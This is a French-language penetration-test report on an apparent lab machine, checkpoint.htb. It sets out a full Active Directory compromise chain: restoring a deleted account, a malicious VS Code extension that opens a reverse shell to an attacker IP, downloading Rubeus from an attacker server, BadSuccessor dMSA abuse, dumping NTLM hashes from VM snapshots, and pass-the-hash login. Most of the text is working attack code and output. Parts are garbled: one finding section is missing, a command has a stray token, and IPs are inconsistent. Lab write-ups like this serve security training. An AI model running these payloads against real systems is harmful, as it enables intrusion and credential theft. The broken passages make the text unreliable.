
RAPPORT D'EXPLOITATION TECHNIQUE

Nom du Projet : **Pentest-Checkpoint**
Auteur : **Aurian-P**
Organisation : **Checkpoint**
Cible : **checkpoint.htb (10.129.108.108)**
Type d'évaluation : Pentest "**Boîte Grise**" (grey box) interne
Identifiants de départ : **alex.turner / Checkpoint2024!**
Date du test : **25/08/2026**
Version du document : **1**

Synthèse Exécutive

L'évaluation a permis la compromission totale du système cible avec l'obtention des privilèges d'administration maximaux (checkpoint\administrator).

La chaîne d'exploitation s'est articulée selon les étapes suivantes :

1. Premier mouvement latéral obtenu suite à la récupération d'un compte utilisateur présent dans la corbeille (mark.davies)
2. Second mouvement latéral : Exploitation d'un share smb qui exécute des extensions vsix de manière récurrente, et qui est disponible en écriture pour notre utilisateur. Obtention d'un shell sur le compte ryan.brooks, récupération du flag user.txt.
3. Privilège escalation : L'utilisateur ryan.brooks ayant la permission WRITE sur le compte de service svc_deploy, utilisation de la technique BadSuccessor pour obtenir l'accès de svc_deploy aux différents shares.
4. Récupération des snapshots présents dans le share VMBackups, et capture du hash NTLM du compte administrator. Obtention d'un shell avec les privilèges maximaux via winrm. Récupération du flag root.txt.

Sévérité	Nombre
Critique	0
Elevée	4
Moyenne / Faible	0

Cartographie des Services

Un balayage de ports avec Nmap a révélé les services exposés suivants :

Port/Protocole	Service	Version	Information supplémentaire
53/TCP	DNS	Simple DNS Plus	/
88/TCP	kerberos	Microsoft Windows Kerberos	/
123/UDP	NTP	NTP v3	/
135/TCP	msrpc	Microsoft Windows RPC	/
139/TCP	Netbios-ssn	Microsoft Windows netbios-ssn	/
389/TCP	ldap	Microsoft Windows Active Directory LDAP	Domaine : checkpoint.htb0
445/TCP	microsoft-ds	/	/
464/TCP	kpasswd5	/	/
593/TCP	ncacn_http	Microsoft Windows RPC over HTTP 1.0	/
636/TCP	ldapssl	/	/
3268/TCP	ldap	Microsoft Windows Active Directory LDAP	/
3269/TCP	globalcatLDAPssl	/	/
5985/TCP	http	Microsoft HTTPAPI httpd 2.0	/
9389/TCP	mc-nmf	.NET Message Framing	/
49664/TCP	msrpc	Microsoft Windows RPC	/
49670/TCP	msrpc	Microsoft Windows RPC	/
49673/TCP	msrpc	Microsoft Windows RPC	/
49679/TCP	msrpc	Microsoft Windows RPC	/
49680/TCP	ncacn_http	Misrosoft Windows RPC over HTTP 1.0	/
49683/TCP	msrpc	Microsoft Windows RPC	/
49710/TCP	msrpc	Microsoft Windows RPC	/
49718/TCP	msrpc	Microsoft Windows RPC	/

Fiches détaillées des vulnérabilités

VULN -01: Restauration d'objet depuis la corbeille Active Directory

Sévérité :

Elevée (CVSS v3.1 : 8.8 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CWE : CWE-269 Improper Privilege Management (Mauvaise gestion des privilèges)

Composant : Permission du compte alex.turner :

distinguishedName:CN=MarkDavies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb permission: WRITE

Description :

L'utilisateur alex.turner a les droits WRITE sur le compte mark.davies, qui se situe initialement dans la corbeille (0ADEL). Cette permission permet à l'utilisateur alex.turner de restaurer le compte mark.davies, ainsi que de modifier son mot de passe utilisateur.

Ainsi, un attaquant peut ensuite s'authentifier en tant qu'utilisateur mark.davies et récupérer ses droits ainsi que ses accès.

Cet utilisateur dispose notamment de droit WRITE sur le share SMB DevDrop.

Preuve de concept :

Utilisation de l'outil BloodyAD pour lister les objets auxquels le compte alex.turner a accès :

```
bloodyAD -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb0 --host checkpoint.htb0 get writable
```

```
distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb  
permission: WRITE
```

→ L'objet utilisateur mark.davies, présent dans la corbeille est accessible en écriture par le compte de départ alex.turner.

Restauration du compte mark.davies :

```
$ bloodyAD -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host checkpoint.htb0 set restore "CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb"  
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully  
under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
```

→ L'utilisateur a bien été restauré

Vérification de l'accès au compte mark.davies via SMB :

Preuve de concept :

Le paquet vsix va nécessiter deux fichiers : un json qui va définir les métadonnées et le comportement de chargement de l'extension VS Code. Et un .js qui va définir le code exécuté par l'extension.

Création du manifeste de l'extension VS Code, package.json sous la version vscode compatible 1.118.0, ainsi que du fichier code [extension.js](#) dans un dossier /extension.

```
(kali@kali)-[~/htb/checkpoint.htb/extension]
$ cat package.json
{
  "name": "check-bot",
  "displayName": "Check Bot",
  "version": "0.0.1",
  "engines": {
    "vscode": "^1.118.0"
  },
  "main": "./extension.js",
  "activationEvents": ["*"]
}
```

```
$ cat extension.js
const net = require('net');
const cp = require('child_process');

function activate(context) {
  const client = new net.Socket();
  client.connect(4444, "10.10.17.242", function() {
    const sh = cp.spawn("cmd.exe", []);
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
  });
}

function deactivate() {}

module.exports = {
  activate,
  deactivate
}
```

→ On a un json avec la bonne version, et un .js qui renvoie un reverse shell vers notre machine, on peut maintenant créer le vsix.

Création du fichier test.vsix avec zip :

```
zip -r test.vsix extension/
```

→ On a le .vsix, on va pouvoir le déposer dans le share smb avec l'utilisateur mark.davies :

Dépôt du fichier test.vsix sur le share smb :

```
└─$ smbclient //10.129.91.107/DevDrop -U 'mark.davies' -p
Password for [WORKGROUP\mark.davies]:
Try "help" to get a list of possible commands.
smb: \> put test.vsix
putting file test.vsix as \test.vsix (3,3 kB/s) (average 3,3 kB/s)
smb: \> ls
.                D            0   Tue Sep  8 15:04:22 2026
..               D            0   Sat May  9 14:42:27 2026
test.vsix        A           887   Tue Sep  8 15:04:22 2026

10459391 blocks of size 4096. 2467276 blocks available
smb: \> █
```

Exécution automatique du fichier déposé, puis obtention d'un reverse shell sur l'utilisateur ryan.brooks.

```
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.17.25] from (UNKNOWN) [10.129.91.107] 54808
Microsoft Windows [Version 10.0.26100.32860]
(c) Microsoft Corporation. All rights reserved.
```

```
C:\Program Files\Microsoft VS Code>whoami
whoami
checkpoint\ryan.brooks
```

Impact :

L'injection de fichier malveillant dans le share smb DevDrop, et son exécution automatique a permis l'obtention d'un reverse shell sur l'utilisateur ryan.brooks, donnant l'accès à ses droits et ses accès. Récupération du flag user.txt.

Recommandations / Remédiation :

Appliquer le principe du moindre privilège sur les shares SMB, un utilisateur standard ne doit avoir les droits d'en lecture seule.

Sécuriser le mécanisme de chargement des extensions vsix, désactiver l'exécution automatique des packages déposés.

VULN-03 : Abus du mécanisme de dMSA (BadSuccessor - CVE-2025-53779)

Sévérité :

Elevé (CVSS v3.1 : 8.8 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CWE : CWE-269 : Improper Privilege Management (gestion incorrecte des privilèges)

Composant : distinguishedName:CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
/ permission: WRITE

Description :

La vulnérabilité CVE-2025-53779 est une faille majeure liée à la fonctionnalité dMSA (delegated Managed Service Accounts) introduite dans Windows Server 2025.

Dans notre scénario, la récupération du ticket Kerberos de l'utilisateur ryan.brooks via l'outil rubeus.exe téléchargé sur la cible, a permis l'énumération des accès aux objets pour cet utilisateur. Sa permission write sur le service svc_deploy, couplée à la version du contrôleur de domaine (Windows Server 2025), remplissent les conditions pour l'exploitation de BadSuccessor.

Un attaquant peut créer un objet DMSA avec l'identité de ryan.brooks mais dans le contexte du service svc_deploy. Ainsi ce nouvel objet aura les mêmes droits et accès que svc_deploy.

Preuve de concept :

Téléchargement de l'outil rubeus.exe dans le dossier /windows/Temp :

```
PS C:\Windows\Temp> Invoke-WebRequest -uri "http://10.10.17.25:8888/Rubeus.exe" -OutFile "C:\Windows\Temp\rubeus.exe"
```

Utilisation de l'outil rubeus pour récupérer le ticket Kerberos du compte ryan.brooks :

```
PS C:\Windows\Temp> ./rubeus.exe tgtdeleg /nowrap
```

```
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: q0sies1K0Podj7TKDgawsIB2Xby9aKJE9skZi0ymYE8=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIF1DCCBdCgAwIBBaEDAgEWooIE0DCCBMxhggTIMIIExKADAgEFoRabDkNIRUNLUE9JTLQuSFRCoIMwIaADAgECorowGBsGa3JidGd0Gw5
```

→ On a récupéré le ticket Kerberos du compte ryan.brooks dans un fichier ticket_ryan.b64.

Décodage du ticket .b64 en ticket kirbi, puis transformation du ticket en .ccache, ce qui va nous permettre l'utilisation du ticket sur notre machine.

```
base64 -d ./ticket_ryan.b64 > ./ticket_ryan.kirbi
```

```
└─$ impacket-ticketConverter ./ticket_ryan.kirbi ./ticket_ryan.ccache
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[+] done
```

```
export KRB5CCNAME=$(pwd)/ticket_ryan.ccache
```

```
└─$ klist -c "$KRB5CCNAME"
Ticket cache: FILE:/home/kali/htb/checkpoint.htb/ticket_ryan.ccache
Default principal: ryan.brooks@CHECKPOINT.HTB

Valid starting      Expires            Service principal
08/09/2026 15:27:05  09/09/2026 01:27:05  krbtgt/CHECKPOINT.HTB@CHECKPOINT.HTB
        renew until 15/09/2026 15:27:05
```

--> Le ticket est bien associé à l'utilisateur ryan.brooks et au domaine checkpoint.htb.

Enumération des accès du compte ryan.brooks.

```
└─$ bloodyAD -k ccache=./ticket_ryan.ccache \
--dc-ip 10.129.91.107 \
--host dc01.checkpoint.htb \
-d checkpoint.htb \
get writable --right WRITE
Clock skew detected. Adjusting local time by 5:00:13.701264. Retrying operation.
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
permission: WRITE
```

→ L'utilisateur ryan.brooks a accès WRITE au service svc_deploy.

Vérification de la version du contrôleur de domaine (pour utiliser BadSuccessor il faut que le contrôleur de domaine soit en Windows server 2025):

```
└─$ nxc ldap dc01.checkpoint.htb -k --use-ccache --query "(LDAPDisplayName=msDS-ManagementChain)" ""
[*] Initializing LDAP protocol database
LDAP dc01.checkpoint.htb 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:CHECKPOINT.HTB)
(signing:Enforced) (channel binding:No TLS cert)
```

→ Les conditions sont réunies pour pouvoir exploiter la vulnérabilité BadSuccessor.

Création d'un objet DMSA par l'utilisateur ryan.brooks, mais sous les conditions de sv_deploy.

```

└─$ bloodyAD -k ccache=./ticket_ryan.ccache \
  php_mt_se -u ryan.brooks \
    --dc-ip 10.129.91.107 \
    --host dc01.checkpoint.htb \
    -d checkpoint.htb \
    add badSuccessor evilDMSA6 \
    -t "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" \
    --ou "OU=DMSAHolder,DC=checkpoint,DC=htb"

```

```

Realm      : CHECKPOINT.HTB
Sname      : krbtgt/CHECKPOINT.HTB
UserName   : evilDMSA6$
UserRealm  : checkpoint.htb
StartTime  : 2026-09-08 15:48:55+00:00
EndTime    : 2026-09-09 01:27:05+00:00
RenewTill  : 2026-09-15 15:27:05+00:00
Flags      : enc-pa-rep, forwardable, renewable, pre-authent, forwarded
Keytype    : 18
Key        : sHxjt69n+oCi1XPjZIwokp+DKcT1cg9megw0jLrSqH=
EncodedKirbi :
doIF4zCCBd+gAwIBBaEDAgEWooIEzzCCBmthggTHMIIew6ADAgEForAbDkNIRUNLUE9JTlQvSFRCoiMwIaADAgECoRowGB8sGa3Jj
dGd0Gw5DSEVDS1BPSU5ULkhU0a0CBIMwggR/oAMCARKhAwIBAAKCBHEEgggRtSE13+uIAx3TKoY9+H3Ve07oFlbh6JhiYZa0bTVHh

```

--> Obtention d'un ticket Kerberos avec les accès svc_deploy dans : evilDMSA6_7A.ccache.

Utilisation du nouveau ticket, puis énumération des shares disponibles :

```
export KRB5CCNAME=$(pwd)/evilDMSA6_7A.ccache
```

```
→ nxc smb dc01.checkpoint.htb -k --use-kcache --shares
SMB dc01.checkpoint.htb 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.
htb) (signing:True) (SMBv1:None)
SMB dc01.checkpoint.htb 445 DC01 [+] checkpoint.htb\evildMSA6$ from ccache
SMB dc01.checkpoint.htb 445 DC01 [*] Enumerated shares
SMB dc01.checkpoint.htb 445 DC01
SMB dc01.checkpoint.htb 445 DC01
SMB dc01.checkpoint.htb 445 DC01
SMB dc01.checkpoint.htb 445 DC01 ADMIN$ Remote Admin
SMB dc01.checkpoint.htb 445 DC01 C$ Default share
SMB dc01.checkpoint.htb 445 DC01 DevDrop VS Code extensions share for approved .vsix
packages compatible with VS Code engine 1.118.0
SMB dc01.checkpoint.htb 445 DC01 IPC$ READ Remote IPC
SMB dc01.checkpoint.htb 445 DC01 NETLOGON READ Logon server share
SMB dc01.checkpoint.htb 445 DC01 SYSVOL READ Logon server share
SMB dc01.checkpoint.htb 445 DC01 VMBackups READ
```

--> On a accès à la lecture du share VMBackups

Impact :

L'exploitation de la CVE-2025-53779 a permis à l'utilisateur ryan.brooks de créer un compte avec les privilèges du service svc_deploy. Ce compte a accès à la lecture d'un share indisponible jusqu'alors : VMBackups.

Recommandations / Remédiation :

Mettre à jour les contrôleurs de domaines Windows Server 2025 pour corriger la faille de logique Kerberos liée à la CVE-2025-53779.

Auditer et restreindre les permissions de modifications sur les compte de service, notamment le compte svc_deploy.

Bloquer le droit de création/modification d'objets dMSA pour les utilisateurs non-administrateurs.

VULN-04 : Exposition de snapshots de machines virtuelles contenant des secrets

Sévérité :

Elevée (CVSS v3.1 : 8.8 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CWE : CWE-522 : Identifiants insuffisamment protégés

Composant : Snapshot présents dans le share VMBackups\NightlyBackup_2024-11-01\memory forensics\windows Server 2019-Snapshot1.vmsem

Description :

L'accès READ au share VMBackups a permis le téléchargement de snapshots.

Ces snapshot contiennent toutes les informations nécessaires à l'obtention du hash du compte administrator. Un attaquant qui récupère ces snapshot peut obtenir les hashes NTLM de tous les comptes connectés lors de la prise de ces snapshots.

Permettant ensuite d'utiliser ces hashes pour se connecter directement sur le compte administrator et obtenir une compromission totale de la machine.

Preuve de concept :

Lecture du dossier VMBackups via l'outil Impacket.

```
└─$ impacket-smbclient -k -no-pass dc01.checkpoint.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# use VMBackups
```

```
# pwd
/NightlyBackup_2024-11-01/memory forensics
# ls
drw-rw-rw-    0 Wed May 13 13:58:18 2026 .
drw-rw-rw-    0 Wed May 13 13:58:18 2026 ..
-rw-rw-rw- 106496000 Wed May 13 13:58:18 2026 Windows Server 2019-000001.vmdk
-rw-rw-rw- 2147483648 Wed May 13 13:58:18 2026 Windows Server 2019-Snapshot1.vmem
-rw-rw-rw- 138164859 Thu May 14 22:32:32 2026 Windows Server 2019-Snapshot1.vmsn
-rw-rw-rw- 270840 Wed May 13 13:58:18 2026 Windows Server 2019.nvram
-rw-rw-rw- 7642 Wed May 13 13:58:18 2026 Windows Server 2019.scoreboard
-rw-rw-rw- 10199695360 Wed May 13 13:58:18 2026 Windows Server 2019.vmdk
-rw-rw-rw- 502 Wed May 13 13:58:18 2026 Windows Server 2019.vmsd
-rw-rw-rw- 2749 Wed May 13 13:58:18 2026 Windows Server 2019.vmx
-rw-rw-rw- 274 Wed May 13 13:58:18 2026 Windows Server 2019.vmx
```

→ De nombreux snapshots sont disponibles sous : /NightlyBackup_2024-11-01/memory forensics

Utilisation d'un script python pour récupérer les snapshot :

```
$ cat download.py
import os
from impacket.smbconnection import SMBConnection

ccache_path = os.environ.get('KRB5CCNAME')
target_host = 'dc01.checkpoint.htb'

print(f"[+] Connexion à {target_host} ...")
smb = SMBConnection(target_host, target_host)

# Spécification du principal evilDMSA6$ et utilisation du cache Kerberos
smb.kerberoslogin(
    user='evilDMSA6$',
    password='',
    domain='CHECKPOINT.HTB',
    useCache=True
)

share_name = 'VMBackups'
remote_path = r'NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmsn'
local_path = 'Windows Server 2019-Snapshot1.vmsn'

print("[+] Téléchargement du fichier de mémoire (2 Go) en cours...")
with open(local_path, 'wb') as f:
    smb.getFile(share_name, remote_path, f.write)

print("[+] Téléchargement terminé avec succès !")
smb.logoff()
```

Récupération des hashes présents sur les snapshots récupérés avec Volatility3 :

```
vol -f "Windows Server 2019-Snapshot1.vmem" windows.lsadump.Lsadump

$ vol -f "Windows Server 2019-Snapshot1.vmem" windows.hashdump.Hashdump
Volatility 3 Framework 2.28.0
/home/kali/venv/lib/python3.14/site-packages/volatility3/framework/deprecation.py:28: FutureWarning: windows.registry.hashdump.Hashdump.run() will be removed in the first release after 2026-09-25. This
all volatility3.plugins.windows.registry.hashdump.Hashdump rather than volatility3.plugins.window
warnings.warn(
User      rid      lmhash      nthash
/home/kali/venv/lib/python3.14/site-packages/volatility3/framework/deprecation.py:105: FutureWarning: ns.windows.hashdump.Hashdump) has been renamed and will be removed in the first release after 202
alls to this plugin are replaced with calls to volatility3.plugins.windows.registry.hashdump.Hash
warnings.warn(
Administrator  500      aad3b435b51404eeaad3b435b51404ee      f29e9c014295b9b32139b09a2790be3b
```

→ On a récupéré le hash NTLM administrator.

Utilisation du hash avec evil-winrm, puis validation de l'élévation de privilèges :

```
evil-winrm -i dc01.checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b
```

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami  
checkpoint\administrator
```

Impact :

La récupération des snapshots présents dans le share VMBackups a permis le dump des hashes des comptes connectés lors du snapshot.

La récupération du hash NTLM administrator a permis un accès winrm direct sur la cible en tant qu'utilisateur administrator, ce qui correspond à une compromission totale de la cible.

Recommandations / Remédiation :

Sécuriser et Isoler les données de sauvegarde : Chiffrement, cloisonnement réseau.

Durcir l'authentification et les accès distants : désactiver LM/NTLM lorsque c'est possible.